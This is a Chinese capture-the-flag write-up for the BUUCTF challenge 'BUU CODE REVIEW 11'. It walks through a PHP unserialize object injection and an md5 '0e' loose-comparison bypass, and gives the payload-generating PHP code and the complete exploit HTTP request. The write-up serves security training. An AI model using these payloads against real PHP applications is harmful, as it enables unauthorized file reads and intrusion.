BUU CODE REVIEW 11
传送门
先观察代码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
我们发现接触这道题需要以下步骤:
1.通过GET与POST请求将pleaseget&pleasepost上传对应的值
我们只需要插入?pleaseget=1即可完成第一步
然后通过将GET请求改为POST请求即可上传pleasepost
2.md5绕过
因为在php中 0e开头的字符串会被认为是0,便可以用md5值为0e开头的数来绕过md5
3.反序列化与序列化
分析代码可以知道,我们需要将obj赋值为BUU类的序列化,然后便会执行函数
点击查看代码
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
<?php
class BUU {
public $correct = "";
public $input = "";
}
$fff = new BUU( );
$fff -> input = &$fff -> correct;
echo serialize($fff);
?>
结果为O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
最终请求头:
POST /?pleaseget=1 HTTP/1.1
Host: 7c70169c-99eb-438e-a98d-1b1424d076ee.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}